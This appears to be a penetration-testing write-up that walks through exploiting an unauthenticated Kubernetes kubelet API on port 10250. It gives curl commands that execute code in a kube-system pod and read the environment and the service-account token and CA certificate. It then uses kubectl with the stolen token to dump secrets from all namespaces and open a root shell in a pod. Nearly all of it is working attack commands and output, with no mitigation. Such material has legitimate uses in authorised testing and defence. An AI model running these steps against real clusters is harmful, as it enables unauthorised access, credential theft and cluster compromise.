Kubernetes: unauth kublet API 10250 token theft & kubectl

Kubernetes: unauthenticated kublet API (10250) token theft & kubectl access & exec


kube-hunter output to get us started:

do a curl -s https://k8-node:10250/runningpods/ to get a list of running pods

With that data, you can craft your post request to exec within a pod so we can poke around.

 Example request:

curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /"

Check the env and see if the kublet tokens are in the environment variables. depending on the cloud provider or hosting provider they are sometimes right there. Otherwise we need to retrieve them from:
1. the mounted folder
2. the cloud metadata url

Check the env with the following command:

curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=env"

We are looking for the KUBLET_CERT, KUBLET_KEY, & CA_CERT environment variables.


We are also looking for the kubernetes API server. This is most likely NOT the host you are messing with on 10250. We are looking for something like:

KUBERNETES_PORT=tcp://10.10.10.10:443

or

KUBERNETES_MASTER_NAME: 10.11.12.13:443

Once we get the kubernetes tokens or keys we need to talk to the API server to use them. The kublet (10250) wont know what to do with them.  This may be (if we are lucky) another public IP or a 10. IP.  If it's a 10. IP we need to download kubectl to the pod.

Assuming it's not in the environment variables let's look and see if they are there in the mounted secrets

curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=mount"

sample output truncated:
cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
/dev/sda1 on /dev/termination-log type ext4 (rw,relatime,commit=30,data=ordered)
/dev/sda1 on /etc/k8s/dns/dnsmasq-nanny type ext4 (rw,relatime,commit=30,data=ordered)
tmpfs on /var/run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,nosuid,nodev,relatime,commit=30,data=ordered)
/dev/sda1 on /etc/hostname type ext4 (rw,nosuid,nodev,relatime,commit=30,data=ordered)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,commit=30,data=ordered)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)

We can then cat out the ca.cert, namespace, and token

curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /var/run/secrets/kubernetes.io/serviceaccount"

Output:

drwxrwxrwt    3 root     root         140 Nov  9 16:27 .
drwxr-xr-x    3 root     root        4.0K Nov  9 16:27 ..
lrwxrwxrwx    1 root     root          13 Nov  9 16:27 ca.crt -> ..data/ca.crt
lrwxrwxrwx    1 root     root          16 Nov  9 16:27 namespace -> ..data/namespace
lrwxrwxrwx    1 root     root          12 Nov  9 16:27 token -> ..data/token

and then:

curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

output:

eyJhbGciOiJSUzI1NiI---SNIP---

Also grab the ca.crt :-)

With the token, ca.crt and api server IP address we can issue commands with kubectl.

$ kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- get pods --all-namespaces

Output:

kube-system   metrics-server-v0.2.1-7-SNIP                         2/2       Running   0          120d

at this point you can pull secrets or exec into any available pods

$ kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- get secrets --all-namespaces

to get a shell via kubectl

$ kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- get pods --namespace=kube-system

metrics-server-v0.2.1-7f8ee58c8f-ab13f     2/2       Running   0          120d

$ kubectl exec -it metrics-server-v0.2.1-7f8ee58c8f-ab13f --namespace=kube-system--server=https://1.2.3.4  --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- /bin/sh

drwxr-xr-x    1 root     root        4.0K Sep 11 07:25 var

For completeness if you got the keys via the environment variables the kubectl command would be something like this:

kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --client-key=kublet.key --client-certificate=kublet.crt get pods --all-namespaces
